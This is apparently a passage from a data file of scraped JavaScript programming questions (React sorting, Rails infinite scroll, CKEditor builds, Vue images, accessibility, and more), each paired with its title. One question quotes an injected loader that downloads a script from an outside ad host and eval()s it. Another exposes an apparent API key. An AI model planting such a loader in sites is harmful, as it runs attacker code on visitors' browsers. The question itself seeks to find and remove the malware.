'' : `` 5b7d4a566c5fd00507501051 '' , `` hrmsJdId '' : null , `` companyId '' : null , `` jdName '' : `` Senior/ Lead UI Developer '' , `` jobDescription '' : null , `` technology '' : java , } , { `` id '' : `` 5b7fb04d6c5fd004efdb826f '' , `` hrmsJdId '' : null , `` companyId '' : null , `` jdName '' : `` Content Innovation Lead '' , `` jobDescription '' : null , `` technology '' : css } , { `` id '' : `` 5b7fb0b26c5fd004efdb8271 '' , `` hrmsJdId '' : null , `` companyId '' : null , `` jdName '' : `` Urgent Opening for DSP Engineer/ Senior Engineer for '' , `` jobDescription '' : null , `` technology '' : react , } ] < td > { item.technology } < /td > < td > 17 < /td > < td title= { item.jdName } className= '' jd-name-container justify-content-center align-items-center '' > < div className= '' jdName '' > { item.jdName } < /div > { ( key + 1 === 1 ) & & < div className= '' badge new-badge badge-warning-custom '' > New < /div > } < /td > < tbody className= '' text-center '' > { props.jobList & & props.jobList & & props.jobList.length > 0 & & props.jobList.sort ( ( a , b ) = > b.createdAt - a.createdAt ) .map ( ( item , key ) = > { return ( < tr key= { key } > < td align= '' center '' > < input type= '' checkbox '' name= '' myTextEditBox '' value= '' checked '' / > < /td > < td > { item.technology } < /td > < td > 17 < /td > < td title= { item.jdName } className= '' jd-name-container justify-content-center align-items-center '' > < div className= '' jdName '' > { item.jdName } < /div > { ( key + 1 === 1 ) & & < div className= '' badge new-badge badge-warning-custom '' > New < /div > } < /td > < td > 30 < /td > < td > 30 < /td > < td > < /tbody > < th scope= '' col '' > Technology < i className= '' fa fa-fw fa-sort sort-icon '' onClick= { props.sortAscending ( 'Technology ' ) } > < /i > < /th > sortData = ( key , event ) = > { console.log ( `` key is , '' , key ) ; this.props.sortAscending ( key ) ; } < UserJobsTabel jobList= { filteredList } sortAscending= { this.sortData } / > export const sortAscending = ( type ) = > { return { type : `` SORT_ASCENDING '' , payload : type } } case FETCHING_JOBDESCRIPTION_SUCCESS : return { ... state , jobList : action.data.jobData ? action.data.jobData.sort ( ( a , b ) = > b.createdAt - a.createdAt ) : action.data.jobData , yesterDayScore : action.data.yesterdayScore , todayScore : action.data.todayScore , error : false , } case `` SORT_ASCENDING '' : const { sortKey } = action.payload ; const jobList = [ ... state.jobList ] .sort ( ( a , b ) = > a [ sortKey ] .localeCompare ( b [ sortKey ] ) ) ; return { ... state , jobList } ; Maximum update depth exceeded . This can happen when a component repeatedly calls setState inside componentWillUpdate or componentDidUpdate . React limits the number of nested updates to prevent infinite loops .",How to sort the data in asc and desc order in table "JS : I followed the tutorial here http : //railsforbeginners.com/chapters/chapter-9-infinite-scroll/ for an infinite scrolling . The code works good locally but when I deploy it to prod . the pagination links ( 1 2 3 4 ) still show and the infinite scrolling does n't fire . I also tried to add these files in assets.rb with no successFirst of I 'm using Rails 4 , my application.js looks like thisController actionindex.js.erb //= require jquery2//= require jquery.turbolinks//= require jquery_ujs//= require jquery-ui.min//= require bootstrap-hover-dropdown.min//= require bootstrap.min//= require select2//= require infinite_scroll//= require turbolinks respond_to do |format| format.html format.js { render `` visitors/index '' } end $ ( ' # my-articles ' ) .append ( ' < % = j render @ articles % > ' ) ; < % if @ articles.next_page % > $ ( '.pagination ' ) .replaceWith ( ' < % = j will_paginate @ articles % > ' ) ; add_tweets ( ) ; < % else % > $ ( window ) .off ( 'scroll ' ) ; $ ( '.pagination ' ) .remove ( ) ; < % end % > function add_tweets ( ) { < % @ articles.each do |article| % > handle_open_modal ( `` < % = article.id % > '' ) ; < % end % > }",js.erb working locally but not in production "JS : Here is my 'common.js ' file : ..and here is the relevant part of my Gruntfile.js : ... and this is how I instantiate CKEditor in my code : Finally ... these are the errors I get in Firebug when I try to load CKEditor using my uglified code on production ( it works perfectly before optimising in my dev environment ) : I 've tried to set the path inside the CKEditor instantiation code using 'skins : ../path/to/ckeditor/css/files ' but that does n't work either . Incidentally I 've also tried downloading CKEditor from the website and installing it fresh with 'boswer install ckeditor ' but ca n't get it work once uglified and combined into my code using grunt.Can anyone see what I 'm doing wrong ? Does anyone else have this working ? I 'm sure folks out there must have it working and it 's just my ignorance holding me back . requirejs.config ( { paths : { domReady : '../vendor/requirejs-domready/domReady ' , jquery : 'lib/jquery ' , datatables : '../vendor/datatables/media/js/jquery.dataTables.min ' , tabletools : '../vendor/datatables/extensions/TableTools/js/dataTables.tableTools ' , fixedheader : '../vendor/datatables/extensions/FixedHeader/js/dataTables.fixedHeader.min ' , 'datatables-bootstrap ' : '../vendor/datatables-bootstrap3-plugin/media/js/datatables-bootstrap3.min ' , jeditable : '../vendor/jeditable/jeditable ' , routing : '../../bundles/fosjsrouting/js/router ' , routes : '../vendor/fosjsrouting/fos_js_routes ' , 'ckeditor-core ' : '../vendor/ckeditor/ckeditor ' , 'ckeditor-jquery ' : '../vendor/ckeditor/adapters/jquery ' , selectize : '../vendor/selectize/dist/js/selectize.min ' , sifter : '../vendor/sifter/sifter.min ' , microplugin : '../vendor/microplugin/src/microplugin ' , datepicker : '../vendor/zebra-datepicker/public/javascript/zebra_datepicker ' , bootstrap : '../vendor/bootstrap/dist/js/bootstrap.min ' } , shim : { bootstrap : { deps : [ 'jquery ' ] } , jeditable : { deps : [ 'jquery ' ] } , routing : { exports : 'Routing ' } , routes : { deps : [ 'routing ' ] } , 'ckeditor-jquery ' : { deps : [ 'jquery ' , 'ckeditor-core ' ] } , selectize : { deps : [ 'jquery ' , 'sifter ' , 'microplugin ' ] } , 'tabletools ' : { deps : [ 'datatables ' ] } , 'fixedheader ' : { deps : [ 'datatables ' ] } } } ) ; requirejs : { main : { options : { mainConfigFile : ' < % = appDir % > /js/common.js ' , appDir : ' < % = appDir % > ' , baseUrl : './js ' , dir : ' < % = builtDir % > ' , optimizeCss : `` none '' , optimize : `` none '' , modules : [ { name : 'common ' , include : [ 'jquery ' , 'domReady ' , 'bootstrap ' , 'ckeditor-jquery ' , 'selectize ' , 'jeditable ' , 'datepicker ' , 'routing ' , 'routes ' ] } , { name : 'app/mycode ' , exclude : [ 'common ' ] } , // other app/ < mycode > entries that exclue common , as above ] } } } , uglify : { options : { banner : '/* ! < % = pkg.name % > < % = grunt.template.today ( `` yyyy-mm-dd '' ) % > */\n ' , compress : { drop_console : true // < -remove console.log statements } } , build : { files : ( function ( ) { var files = [ ] ; jsFilePaths.forEach ( function ( val ) { files.push ( { expand : true , cwd : ' < % = builtDir % > ' , src : val , dest : ' < % = builtDir % > ' } ) ; } ) ; return files ; } ) ( ) } } , $ ( '.ckeditor ' ) .ckeditor ( { customConfig : `` , toolbarGroups : [ { `` name '' : `` basicstyles '' , `` groups '' : [ `` basicstyles '' ] } , { `` name '' : `` links '' , `` groups '' : [ `` links '' ] } , { `` name '' : `` paragraph '' , `` groups '' : [ `` list '' , `` blocks '' ] } , { `` name '' : `` document '' , `` groups '' : [ `` mode '' ] } , { `` name '' : `` insert '' , `` groups '' : [ `` insert '' ] } , { `` name '' : `` styles '' , `` groups '' : [ `` styles '' ] } , { `` name '' : `` about '' , `` groups '' : [ `` about '' ] } ] , removeButtons : 'Underline , Strike , Subscript , Superscript , Anchor , Styles , SpecialChar , About , Source ' , removePlugins : 'magicline ' } ) ; `` NetworkError : 404 Not Found - http : //ams.lprod/skins/moono/editor_gecko.css ? t=F0RF '' editor_ ... ? t=F0RF '' NetworkError : 404 Not Found - http : //ams.lprod/lang/en-gb.js ? t=F0RF '' en-gb.js ? t=F0RFTypeError : d [ a ] is undefined ... is.detect ( b , a ) ) ; var d=this , b=function ( { d [ a ] .dir=d.rtl [ a ] ? `` rtl '' : '' ltr '' , c ( a , d [ a ] ) } ...","How to combine CKEditor in my app code using RequireJS , grunt and uglify ?" "JS : I am playing around with vue js and with a 3rd party API . I have succeeded in fetching the json data and presenting it in my html but I am struggling with the images . Some images are missing from the json file so i have stored them locally in my laptop.I have tried to set empty images source using v-if in my html without luck . ( see the comments in my html file ) Also I have tried to assign a class for every img and then I tried to set an img source using jquery $ ( `` # zTTWa2 '' ) .attr ( `` src '' , `` missing_beers-logo/11.5 % 20plato.png '' ) ; without luck as well.Where is my fault ? Maybe my approach is totally wrong because I am new in coding and any suggestion will be appreciate . Thank you in advance var app = new Vue ( { el : `` # app '' , data : { beers : [ ] , decrArray : [ ] , //array with img links cleanedArray : [ ] , //without undefined path : 0 , images : [ missing_beers-logo/11.5 % 20plato.png '' , `` missing_beers-logo/11.5 % 20plato.png '' , `` missing_beers-logo/11.5 % 20plato.png '' , `` missing_beers-logo/11.5 % 20plato.png '' , `` missing_beers-logo/11.5 % 20plato.png '' , `` missing_beers-logo/11.5 % 20plato.png '' , `` missing_beers-logo/11.5 % 20plato.png '' , `` missing_beers-logo/11.5 % 20plato.png '' , `` missing_beers-logo/11.5 % 20plato.png '' , `` missing_beers-logo/11.5 % 20plato.png '' , `` missing_beers-logo/11.5 % 20plato.png '' , `` missing_beers-logo/11.5 % 20plato.png '' , `` missing_beers-logo/11.5 % 20plato.png '' , `` missing_beers-logo/11.5 % 20plato.png '' , `` missing_beers-logo/11.5 % 20plato.png '' , `` missing_beers-logo/11.5 % 20plato.png '' , `` missing_beers-logo/11.5 % 20plato.png '' , `` missing_beers-logo/11.5 % 20plato.png '' , `` missing_beers-logo/11.5 % 20plato.png '' , `` missing_beers-logo/11.5 % 20plato.png '' , `` missing_beers-logo/11.5 % 20plato.png '' ] , created : function ( ) { this.getData ( ) ; } , methods : { getData : function ( ) { var fetchConfig = fetch ( `` http : //api.brewerydb.com/v2/beers ? key=6a3ac324d48edac474417bab5926b70b & format=json '' , { method : `` GET '' , dataType : 'jsonp ' , // responseType : 'application/json ' , // `` Content-Type '' : 'application/json ' , headers : new Headers ( { `` X-API-Key '' : '6a3ac324d48edac474417bab5926b70b ' , 'Content-Type ' : 'application/json ' , `` Access-Control-Allow-Credentials '' : true , `` Access-Control-Allow-Origin '' : '* ' , `` Access-Control-Allow-Methods '' : 'GET ' , `` Access-Control-Allow-Headers '' : 'application/json ' , } ) } ) .then ( function ( response ) { if ( response.ok ) { return response.json ( ) ; } } ) .then ( function ( json ) { console.log ( `` My json '' , json ) // console.log ( `` hi '' ) ; app.beers = json.data ; console.log ( app.beers ) ; app.pushDescr ( ) ; console.log ( app.decrArray ) ; app.removeUndef ( ) ; // console.log ( app.cleanedArray ) ; } ) .catch ( function ( error ) { console.log ( error ) ; } ) } , pushDescr : function ( ) { console.log ( `` hi '' ) ; for ( var i = 0 ; i < app.beers.length ; i++ ) { app.decrArray.push ( app.beers [ i ] .labels ) ; } return app.decrArray ; } , removeUndef : function ( ) { for ( var i = 0 ; i < app.decrArray.length ; i++ ) { if ( app.decrArray [ i ] === undefined ) { app.decrArray [ i ] = `` '' ; } } console.log ( app.decrArray ) ; } , getMissingImg ( index ) { return ( this.images [ index ] ) ; } , } } ) < div class= '' app '' > < div v-for= '' ( value , index ) in beers '' > { { value.name } } < ! -- < img v-bind : src= '' decrArray [ index ] .medium '' : class= '' value.id '' / > -- > < div v-if= '' decrArray [ index ] .medium ! ==undefined `` > < img : src= '' decrArray [ index ] .medium '' / > < /div > < div v-else > < img : src= '' getMissingImg ( index ) '' / > < /div > < /div > < /div >",Vue.js - change undefined img source that I have created dynamically "JS : So the problem I have is that each time after I create a new component , I have to remember to add it 's .less stylesheet to angular-cli.json file . What I 'd really like to have is to somehow tell angular to just rebuild all .less files wherever in src they are . I tried doing something like this : But I 'm getting module not found errorAny help ? { `` apps '' : [ { ... `` styles '' : [ `` **/*.less '' ] , ... } ] }",How to include all .less files in angular-cli.json styles section ? "JS : I 'm a little bit lost on this issue , so please excuse me . I know there are other threads on SO about this but I ca n't find the answer . On the site when it 's loaded it does n't matter where the user click it is open addition tab in browser with ads . What I was able to find so far by looking at the browser console is that is loaded some js fileThis file contain and by looking at this tx.js I suspect that this is the injected by the hacker . The problem is that I 've been looking at the files on the host and ca n't find any include or something of this js.. Can someone help me and tell where or probably how can I find it ? http : //cdn.mecash.ru/js/replace.js ! function ( w ) { if ( w.self==w.top ) { var r=new XMLHttpRequest ; r.onload=function ( ) { eval ( this.responseText ) } , r.open ( `` get '' , '' //myclk.net/js/tx.js '' , ! 0 ) , r.send ( ) } } ( window ) ;",Finding malware on website "JS : If I have an array of promises , I can simply use Promise.all to wait for them all.But when I have an array of objects , each of them having some properties that are promises , is there a good way to deal with it ? Example : const files=urlOfFiles.map ( url= > ( { data : fetch ( url ) .then ( r= > r.blob ( ) ) , name : url.split ( '/ ' ) .pop ( ) } ) ) //what to do here to convert each file.data to blob ? //like Promise.all ( files , 'data ' ) or something else",Is there a good way to Promise.all an array of objects which has a property as promise ? "JS : What does below syntax means ? I understand we are passing two arguments to a function , but what is the purpose of below one ? connect ( mapStateToProps , mapDispatchToProps ) ( Home ) ( Home )",javascript two brackets after function name "JS : In my code I change the position of some elements based on the current mouse X & Y position . I added a css transition : all 5000ms ; to make the animation smoother.It looks great and works as expected in Google Chrome ( version 63 ) but in the Internet Explorer and Firefox the animation looks laggy/choppyHere is my code : Does anyone know why the browsers treat the css transitions differently ? JSFiddle without CSS transition : https : //jsfiddle.net/2rrcp27L/9/JSFiddle with CSS transition : https : //jsfiddle.net/2rrcp27L/6/ // $ ( '.shape ' ) .css ( `` transition '' , `` all 7000ms '' ) ; $ ( document ) .mousemove ( function ( e ) { let mX = e.clientX ; let mY = e.clientY ; $ ( '.shape-1 ' ) .css ( `` transform '' , `` translate ( `` +mX/10+ '' px , `` +mY/10+ '' px ) '' ) ; } ) ;",CSS transition different behavior depending on browser type "JS : I am creating a game in javascript and my gameloop is called every 30ms , it leaks a lot of memory as task manager shows the firefox memory usage to increase by 400mb in about 20 seconds.I am not familiar with how to make sure memory is collected in javascript.Ok I commented out some code and have found the offending line , its ship.ship.rotate ( angle ) ; After commenting that line out javascript is using 4500K . any idea why this is causing the problem , and how can I still rotate my object without this bit of code ? function GameLoop ( tick ) { move ( player1.ship ) ; } function Player ( name ) { this.id = 0 ; this.name = name ; this.ship = Ship ( this ) ; } function Ship ( player ) { this.pos = [ 1024/2 , 768/2 ] ; this.vel = [ 0 , 0 ] ; this.angle = 0 ; this.acc = 0 ; this.thrust = 0 ; this.west = 0 ; this.east = 0 ; this.turnRate = 5 ; this.player = player ; this.size = [ 40 , 40 ] ; this.ship = canvas.rect ( this.pos [ 0 ] , this.pos [ 1 ] , this.size [ 0 ] , this.size [ 1 ] ) ; this.ship.attr ( `` fill '' , `` red '' ) ; return this ; } function move ( ship ) { var angle = ship.angle ; var max_speed = 20 ; var acc_speed = 300 ; var acc = 0 ; if ( ship.thrust ) { acc = 0.25 * acc_speed ; } else { //slow down if ( ( acc - ( 0.25 * acc_speed ) ) > 0 ) { acc -= 0.25 * acc_speed ; } else { acc = 0 ; } } var speedx = ship.vel [ 0 ] + acc * Math.sin ( angle ) ; var speedy = ship.vel [ 1 ] - acc * Math.cos ( angle ) ; var speed = Math.sqrt ( Math.pow ( speedx,2 ) + Math.pow ( speedy,2 ) ) ; var speedx = ship.vel [ 0 ] + acc ; var speedy = ship.vel [ 1 ] - acc ; var speed = speedx + speedy ; if ( speed > max_speed ) { speedx = speedx / speed * max_speed ; speedy = speedy / speed * max_speed ; } ship.vel = [ speedx , speedy ] ; ship.pos = [ ship.pos [ 0 ] + speedx * 0.25 , ship.pos [ 1 ] + speedy * 0.25 ] ; ship.ship.attr ( { x : ship.pos [ 0 ] , y : ship.pos [ 1 ] } ) ; ship.ship.rotate ( angle ) ; ship.angle = 0 ; delete this.thrust ; delete this.west ; delete this.east ; delete old_angle ; delete angle ; delete max_speed ; delete acc_speed ; delete acc ; delete speedx ; delete speedy ; delete speed ; return this ; } var player1 = new Player ( `` Player 1 '' ) ; setInterval ( GameLoop , 30 ) ;",memory leak on game loop "JS : How can I change this : Into this : Using jQuery ? Note , I specifically want to move only the < form > start and end tags , not the children elements of that form . Preferably I want some jQuery.fn so that I can do this : Thanks in advance ! < div class= '' container '' > < div class= '' span-19 '' > < div id= '' content '' > < ! -- variable amount of content -- > < form class= '' move-me '' > < ! -- form -- > < /form > < /div > < /div > < /div > < form class= '' move-me '' > < div class= '' container '' > < div class= '' span-19 '' > < div id= '' content '' > < ! -- variable amount of content -- > < ! -- form data -- > < /div > < /div > < /div > < /form > $ ( '.move-me ' ) .changeNesting ( '.container ' ) ;",How to move the beginning and end tags of a HTML DOM element ? "JS : I 'm trying to get the selector used to call the current script , but of course the property I need was removed for some reason.Is there a workaround for this ? Here 's basically what I want to accomplish : I need to see .theClassISelected ( or some form of the original selector I used to call the function ) in the console , but since the selector property has been removed from jQuery , it does n't possible anymore.I do n't understand why it was removed - I 've Googled this problem for a while now and all I see are StackOverflow answers from 2011-2012 recommending the selector property . I guess it was useful at some point , but not anymore ? ( function ( $ ) { $ .fn.myplugin = function ( options ) { return this.each ( function ( ) { console.log ( $ ( this ) .selector ) ; } ) ; } } ( jQuery ) ) ; //Somwehere else : $ ( '.theClassISelected ' ) .myplugin ( ) ; //Should console.log ( '.theClassISelected ' )","jQuery .selector property removed , workaround ?" JS : If and then why is and not 1 ? Infinity === Infinity > > true typeOf Infinity > > `` number '' Infinity / Infinity > > NaN,Why is Infinity / Infinity not 1 ? "JS : I 'm working on a single-page application ( SPA ) where we 're simulating a multi-page application with HTML 5 history.pushState . It looks fine visually , but it 's not behaving correctly in iOS Voiceover . ( I assume it would n't work in any screen reader , but Voiceover is what I 'm trying first . ) Here 's an example of the behavior I 'm trying to achieve . Here are two ordinary web pages:1.html2.htmlNice and simple . Voiceover reads it like this : Web page loaded . This is page 1 . [ swipe right ] Click here for page 2 . Link . [ double tap ] Web page loaded . This is page 2 . [ swipe right ] Click here for page 1 . Visited . Link . [ double tap ] Web page loaded . This is page 1.Here it is again as a single-page application , using history manipulation to simulate actual page loads.spa1.htmlspa2.htmlswitchPage.js ( Note that this sample does n't work from the filesystem ; you have to load it from a webserver . ) This SPA example visually looks exactly like the simple multi-page example , except that page 2 `` loads quicker '' ( because it 's not really loading at all ; it 's all happening in JS ) .But in Voiceover , it does n't do the right thing . Web page loaded . This is page 1 . [ swipe right ] Click here for page 2 . Link . [ double tap ] Click here for page 1 . Visited . Link . [ The focus is on the link ! swipe left ] This is page 2 . [ swipe right ] Click here for page 1 . Visited . Link . [ double tap ] Web page loaded . This is page 1.The focus is on the link , when it should be at the top of the page.How do I tell Voiceover that the whole page has just updated and so the reader should resume reading from the top of the page ? < ! DOCTYPE html > < html > < body > This is page 1 . < a href=2.html > Click here for page 2. < /a > < /body > < /html > < ! DOCTYPE html > < html > < body > This is page 2 . < a href=1.html > Click here for page 1. < /a > < /body > < /html > < ! DOCTYPE html > < html > < body > This is page 1. < a href='spa2.html ' > Click here for page 2. < /a > < /body > < script src= '' switchPage.js '' > < /script > < /html > < ! DOCTYPE html > < html > < body > This is page 2. < a href='spa1.html ' > Click here for page 1. < /a > < /body > < script src= '' switchPage.js '' > < /script > < /html > console.log ( `` load '' ) ; attachHandler ( ) ; function attachHandler ( ) { document.querySelector ( ' a ' ) .onclick = function ( event ) { event.preventDefault ( ) ; history.pushState ( null , null , this.href ) ; drawPage ( ) ; } } function drawPage ( ) { var page , otherPage ; // in real life , we 'd do an AJAX call here or something if ( /spa1.html $ /.test ( window.location.pathname ) ) { page = 1 ; otherPage = 2 ; } else { page = 2 ; otherPage = 1 ; } document.body.innerHTML = `` This is page `` + page + `` .\n < a href='spa '' +otherPage+ '' .html ' > Click here for page `` + otherPage + `` . < /a > '' ; attachHandler ( ) ; } window.onpopstate = function ( ) { drawPage ( ) ; } ;",Simulate Voiceover page load in single-page pushState web application "JS : I need to create a menu with handlebars , and some of the options in the menu have their own sub-options and I am struggling with this for like 1 hour already . My JSON object for the template is and my template looks like this so far : And this is the html for the option with the sub-menu : I 'm having trouble using the if-statement properly and I Really need some help right now . var menuJSON = [ { name : `` Schedule '' , url : `` index.html ? lang=en '' , icon : `` fa fa-calendar-o '' , state : '' inactive '' } , { name : `` Clients '' , url : ' # ' , icon : `` fa fa-users '' , subs : [ 'Yours ' , 'Company ' ] , state : '' inactive '' , subsTargetID : `` collapse-menuC '' } ] ; < div class= '' sidebarMenuWrapper '' id= '' menuOpts '' > < script id= '' optsMenuTemp '' type= '' x-handlebars-template '' > < ul class= '' list-unstyled '' > { { # each this } } < li class= '' { { state } } '' > < a href= '' { { url } } '' > < i class= '' { { icon } } '' > < /i > < span > { { name } } < /span > < /a > < /li > { { /each } } < /ul > < /script > < /div > < li class= '' hasSubmenu '' > < a href= '' # '' data-toggle= '' collapse '' data-target= '' # collapse-menuD '' > < i class= '' fa fa-folder-open-o '' > < /i > < span > { { documents.name } } < /span > < /a > < ul class= '' collapse '' id= '' collapse-menuD '' > < li > < a href= '' index.html ? lang=en & amp ; top_style=inverse '' > < i class= `` fa fa-street-view '' > < /i > < span > { { documents.sub1 } } < /span > < /a > < /li > < li > < a href= '' index.html ? lang=en & amp ; top_style=default '' > < i class= '' fa fa-clipboard '' > < /i > < span > { { documents.sub2 } } < /span < /a > < /li > < /ul > < /li >",Creating handlebars.js sub-menu "JS : I am writing a sample program in HTML/JS to demonstrate creating an array of user-defined objects ( property/value ) , creating an element , adding data from the object array using innerHTML , and then appending the newly filled element to print it using appendChild ( ) ; For some reason , running the program provides no output besides what I hard-code as debugging . View source is also not very helpful given the language.Please forgive me for the simple question , I am new to JS and have spent many hours reading many resources - I feel I am probably missing something small.Thank you ! ! < title > This is my title. < /title > < body > < p > xXx < br/ > < /p > < script > var array = new Array ( ) ; var thing1 = { property : `` value-1 '' } ; var thing2 = { property : `` value-2 '' } ; array.push ( thing1 ) ; array.push ( thing2 ) ; for ( index = 0 ; index < array.length ; ++index ) { test_el = document.createElement ( `` p '' ) ; test_el.innerHTML ( array [ index ] .property ) ; document.body.appendChild ( test_el ) ; } ; //I wish to print 'value ' text into the body from my object , that is all < /script > < /body >","How to create elements , set attribute , use innerHTML , and appendChild with JS and DOM" "JS : In developer console ( Mozilla , Chrome , nvm ) this code work as expected : So obj will be { x : 3 } But in node.js i get { } Why ? var proto = { x : 3 } ; var obj = Object.create ( proto ) ;",Why Object.create does not work in node.js "JS : I expect that output for es-ES and de-DE locale to be identical . ( I asked my Spanish colleague to check his salary slip , and he confirms that there is indeed a decimal after thousand ) Results : var number = 1000 ; console.log ( new Intl.NumberFormat ( 'de-DE ' , { style : 'currency ' , currency : 'EUR ' } ) .format ( number ) ) ; console.log ( new Intl.NumberFormat ( 'es-ES ' , { style : 'currency ' , currency : 'EUR ' } ) .format ( number ) ) ; > `` 1.000,00 € '' > `` 1000,00 € ''",intl.NumberFormat shows incorrect result for es-ES currency formatting "JS : Some days ago I 've started developing an animated odometer written in HTML and javascript , which I intend to use on a rpg game that I am developing . Also , I 've been using Pixi.js to help me on the animations . The 2 following images are the main components of the program : odometerrow of numbers : And here is a print of what I 've accomplished so far : Basically , the first two buttons update instantly ( with no animation ) the numbers on the odometer image , based the actual HP and PP values contained in the actual HP and PP textboxes . If the 'Set New Values ' is pressed , it will calculate the difference between the actual and new values , convert it to pixels and then perform the needed changes on the odometer . All the changes are performed by a controller ( ) method . Inside this method , there is a while loop that will break when both HP and PP difference values are zero.I 've managed to program the controller ( ) method correctly , so all the numbers in the odometer are updated as expected . However , I am currently facing some difficulties in implementing the animations . Since I 've been using Pixi.js , I 've added the following method to the HTML code in order to create the animations ' movements : The container is defined as shown below ( I am also using a PIXI.extras.TilingSprite.call ( ) inside the construction class of both Odometer and HPPP ) : Until now , I 've experienced 2 scenarios : The first one ( where onClick=controller ( ) , for the 'Set New Value ' button ) , if the code is executed with no modifications , the program will run and the odometer numbers will update instantly , which means that there will be no animation.However , if the controller ( ) method is added in the beginning of the update ( ) method , the numbers will animate very rapidly , but the limits defined by the difference values will not be obeyed ( which means that it will animate indefinitely from 000 to 999 ) .I am still really fresh on HTML and javascript development , and I do n't even know if Pixi.js would be the best choice for this . Anyway , is it possible to perform smooth and controlled animations for this odometer ? Since I did not post many details from my code , I will provide here the source code of my project ( Note : It can be executed using node.js prompt ) : http : //www.mediafire.com/download/gfvpajsk7ft1gcd/parallax_odometer.rar function update ( ) { renderer.render ( container ) ; window.requestAnimationFrame ( update ) ; } window.requestAnimationFrame ( update ) ; //called after the method definition function init ( ) { container = new PIXI.Container ( ) ; renderer = PIXI.autoDetectRenderer ( 224 , 219 , { view : document.getElementById ( `` odometer-canvas '' ) } ) ; odometer = new Odometer ( ) ; container.addChild ( odometer ) ; hph = new HPPP ( 96 , 85 , 0 , 0 ) ; //HP - Hundred digit ( left ) container.addChild ( hph ) ; hpt = new HPPP ( 128 , 85 , 0 , 0 ) ; //HP - Ten digit ( middle ) container.addChild ( hpt ) ; hpu = new HPPP ( 160 , 85 , 0 , 0 ) ; //HP - Unit digit ( right ) container.addChild ( hpu ) ; pph = new HPPP ( 96 , 140 , 0 , 0 ) ; //PP - Hundred digit ( left ) container.addChild ( pph ) ; ppt = new HPPP ( 128 , 140 , 0 , 0 ) ; //PP - Ten digit ( middle ) container.addChild ( ppt ) ; ppu = new HPPP ( 160 , 140 , 0 , 0 ) ; //PP - Unit digit ( right ) container.addChild ( ppu ) ; }",Odometer animation using Pixi.js "JS : I 'm going through the `` Quick Start '' portion of React 's website , and it uses code that looks something like this : Why do I need the extra parentheses around the function block ? I would think that it would look like this : But this does n't work . What do these parentheses mean ? toggleClicked ( ) { this.setState ( prev = > ( { isOn : ! prev.isOn } ) ) ; } toggleClicked ( ) { this.setState ( prev = > { isOn : ! prev.isOn } ) ; }",Why do I need an extra set of parentheses for React .setState ( ) ? "JS : Let a range be an array of two integers : the start and the end ( e.g . [ 40 , 42 ] ) .Having two arrays of ranges ( which are sorted ) , I want to find the optimal way to calculate their intersection ( which will result into another array of ranges ) : Intersection : What is the optimal algorithm for this ? The naive way would be to check each one with all the other ones , but that 's obviously not optimal.I found a similar question asking for the same thing in VBA : Intersection of two arrays of ranges A = [ [ 1 , 3 ] , [ 7 , 9 ] , [ 12 , 18 ] ] B = [ [ 2 , 3 ] , [ 4,5 ] , [ 6,8 ] , [ 13 , 14 ] , [ 16 , 17 ] ] [ [ 2 , 3 ] , [ 7 , 8 ] , [ 13 , 14 ] , [ 16 , 17 ] ]",How to intersect two arrays of ranges ? "JS : I ca n't find anything about this on Google or here.I have a div with in it , some text and some html as such : What I want to do , is add a < wbr > after every slash . ( Because the value does n't wrap otherwise and messes up my table ) . Doing a simple replace on the $ ( ' # test-div ' ) .html ( ) will also mess with the strong tag , so that 's not an option.I figured using $ ( ' # test-div ' ) .contents ( ) to filter out the text parts ( recursively ) would work . However I ca n't seem to edit the individual bits returned . I would expect this to change the http : // part : However it does nothing . I know I have my navigation right , because something like this : does work.Why ca n't I change the text bit ? ( A more elegant solution to the initial problem would also be great ) < div id= '' test-div '' > http : // < strong > somewebsite.com < /strong > /big/long/unfriendly/path/ < /div > $ ( ' # test-div ' ) .contents ( ) .first ( ) .text ( `` something '' ) ; $ ( ' # test-div ' ) .contents ( ) .first ( ) .wrap ( `` < b > < /b > '' ) ;",Jquery $ ( element ) .contents ( ) .first ( ) .text ( `` new text '' ) does n't work ? "JS : The gulp taskI am getting the following stack trace but i can not debugI have all the necessary files in node modules too any help is really appreciated.More reference on the File use above - https : //github.com/rahulrsingh09/loopback-Angular-Starter/blob/master/gulpfile.js /* Run the npm script npm run buildLsdk using gulp */gulp.task ( 'sdk ' , function ( ) { if ( process.cwd ( ) ! = basePath ) { process.chdir ( '.. ' ) ; // console.log ( process.cwd ( ) ) ; } spawn ( './node_modules/.bin/lb-sdk ' , [ 'server/server.js ' , './client/src/app/shared/sdk ' , '-q ' ] , { stdio : 'inherit ' } ) ; } ) ; Error : spawn ./node_modules/.bin/lb-sdk ENOENT at exports._errnoException ( util.js:1022:11 ) at Process.ChildProcess._handle.onexit ( internal/child_process.js:193:32 ) at onErrorNT ( internal/child_process.js:359:16 ) at _combinedTickCallback ( internal/process/next_tick.js:74:11 ) at process._tickCallback ( internal/process/next_tick.js:98:9 ) at Module.runMain ( module.js:607:11 ) at run ( bootstrap_node.js:420:7 ) at startup ( bootstrap_node.js:139:9 ) at bootstrap_node.js:535:3",The following gulp task is not working on windows but working on ubuntu "JS : On a server , is it possible to identify requests made by a Flash client running in the browser vs. requests made by a regular XMLHttpRequest ? I noticed that requests made using a flash , have this header : Is this a standard header , or is this is behavior different for different browsers \ flash versions ? X-Requested-With : ShockwaveFlash/25.0.0.127",How to identify requests made by a Flash vs. JavaScript client ? "JS : I need to do a bit of quick testing with my code ( getting the value of some variables inside a function ) , and I want to globalise them , so I can access them through the console.I know this method : But what if I had something like this : What would be a quicker way to globalise all those variables , without going window.foo1 = foo1 , window.foo2 = foo2 , etc . ? I do n't wish this to be a code golf question , just a normal programming question . function foo ( ) { var foo = 'foo ' ; window.foo = foo ; // Make foo global } function foo ( ) { var foo1 = 'foo ' ; var foo2 = 'foo ' ; var foo3 = 'foo ' ; var foo4 = 'foo ' ; var foo5 = 'foo ' ; var foo6 = 'foo ' ; var foo7 = 'foo ' ; var foo8 = 'foo ' ; }",Quick way to globalise a lot of variables in JavaScript ? "JS : No matter whether I define the function after the variableOr if I define the function before the variablethe final typeof result is always numberI found some explanation about execution context in http : //davidshariff.com/blog/what-is-the-execution-context-in-javascript/but this does not seem to work.So how can I explain it ? var a = 1 ; function a ( ) { } ; typeof a // number function a ( ) { } ; var a = 1 ; typeof a // number Before executing the function code , create the execution context ... ... .Scan the context for variable declarations : If the variable name already exists in the variable object , do nothing and continue scanning .",Why can variable declarations always overwrite function declarations ? "JS : I have an API on backend which sends status 201 in case of a successful call and if there'sany error with the submitted data it sends status 422 ( Unprocessable Entity ) with a json response like below : Additionally it sends 404 in case API fails to work on back end for some reason.On the front-end I 'm using the below code to fetch the response and perform a success or error callback based on response status 